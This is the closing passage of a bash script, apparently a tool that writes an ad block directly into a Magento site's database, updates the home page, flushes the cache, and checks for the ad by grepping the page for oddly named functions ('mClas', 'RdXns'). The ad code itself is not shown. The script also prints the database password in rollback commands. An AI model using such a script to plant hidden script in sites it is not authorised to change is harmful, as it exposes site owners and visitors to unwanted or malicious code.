    if [ "$CACHE_CLEAN_MODE" = "partial" ]; then
        # Use if statement to prevent script exit on error (set -e)
        if $PHP_BIN bin/magento cache:clean block_html layout > /dev/null 2>&1; then
            success "Cache cleaned (block_html, layout)"
        else
            warning "Cache clean failed (Permission issue? Try manual clean)"
        fi
    else
        if $PHP_BIN bin/magento cache:flush > /dev/null 2>&1; then
            success "All cache cleaned"
        else
            warning "Cache clean failed (Permission issue? Try manual clean)"
        fi
    fi
}

# 8. Verify
verify_deployment() {
    echo ""
    info "Step 8/8: Verify Deployment"
    echo "--------------------------------------------------"
    
    # Verify Block
    # 移除 export MYSQL_PWD
    BLOCK_COUNT=$(mysql --defaults-extra-file="$CNF_FILE" -h"${DB_HOST}" -u"${DB_USER}" "${DB_NAME}" -sN -e "SELECT COUNT(*) FROM ${DB_PREFIX}cms_block WHERE identifier='${AD_BLOCK_IDENTIFIER}' AND is_active=1" 2>/dev/null)
    # 移除 unset MYSQL_PWD
    
    if [ "$BLOCK_COUNT" = "1" ]; then
        success "Static block verified"
    else
        error "Static block verify failed"
    fi
    
    # Verify Site
    if [ -n "$SITE_DOMAIN" ] && [ "$SITE_DOMAIN" != "x.x.x.x" ]; then
        for PROTOCOL in "https" "http"; do
            SITE_URL="${PROTOCOL}://${SITE_DOMAIN}"
            
            if curl -k -s -L --max-time 10 "${SITE_URL}/" 2>/dev/null | grep -q "function mClas\|function RdXns\|${AD_CONTAINER_ID}"; then
                success "Ad code detected on home page (${PROTOCOL})"
                success "URL: ${SITE_URL}/"
                return 0
            fi
        done
        
        warning "Ad code not detected (Check browser cache or wait)"
        success "URL: https://${SITE_DOMAIN}/"
    fi
}

################################################################################
# [Main Flow]
################################################################################

main() {
    clear 2>/dev/null || true
    
    echo "================================================================================"
    echo "                                                               "
    echo "       Magento Ad Deploy Script v4.5                          "
    echo "       (Auto Prefix + Config File + Ultimate Stability)       "
    echo "                                                               "
    echo "================================================================================"
    
    check_and_switch_user
    
    echo ""
    info "Starting deployment..."
    info "Magento Path: ${MAGENTO_ROOT}"
    info "Current User: $(whoami)"
    
    check_environment
    extract_db_config
    detect_table_prefix
    detect_home_page
    backup_database
    create_ad_block
    update_home_page
    clean_cache
    verify_deployment
    
    echo ""
    echo "--------------------------------------------------"
    echo ""
    echo "[SUCCESS] Deployment Complete!"
    echo ""
    
    if [ "$BACKUP_DATABASE" = "true" ]; then
        echo "[INFO] Database Backup: ${BACKUP_DIR}"
        echo "   Rollback Commands:"
        echo "   mysql -h${DB_HOST} -u${DB_USER} -p'${DB_PASS}' ${DB_NAME} < ${BACKUP_DIR}/cms_block.sql"
        echo "   mysql -h${DB_HOST} -u${DB_USER} -p'${DB_PASS}' ${DB_NAME} < ${BACKUP_DIR}/cms_page.sql"
        echo ""
    fi
    
    if [ -n "$SITE_DOMAIN" ]; then
        echo "[INFO] Verify Site: http://${SITE_DOMAIN}/"
        echo ""
    fi
    
    echo "--------------------------------------------------"
}

trap 'RET=$?; rm -f /tmp/ad_deploy_*.cnf; if [ $RET -ne 0 ]; then echo ""; error "Script failed with exit code: $RET"; fi' EXIT
trap 'rm -f /tmp/ad_deploy_*.cnf; exit 1' INT TERM

main "$@"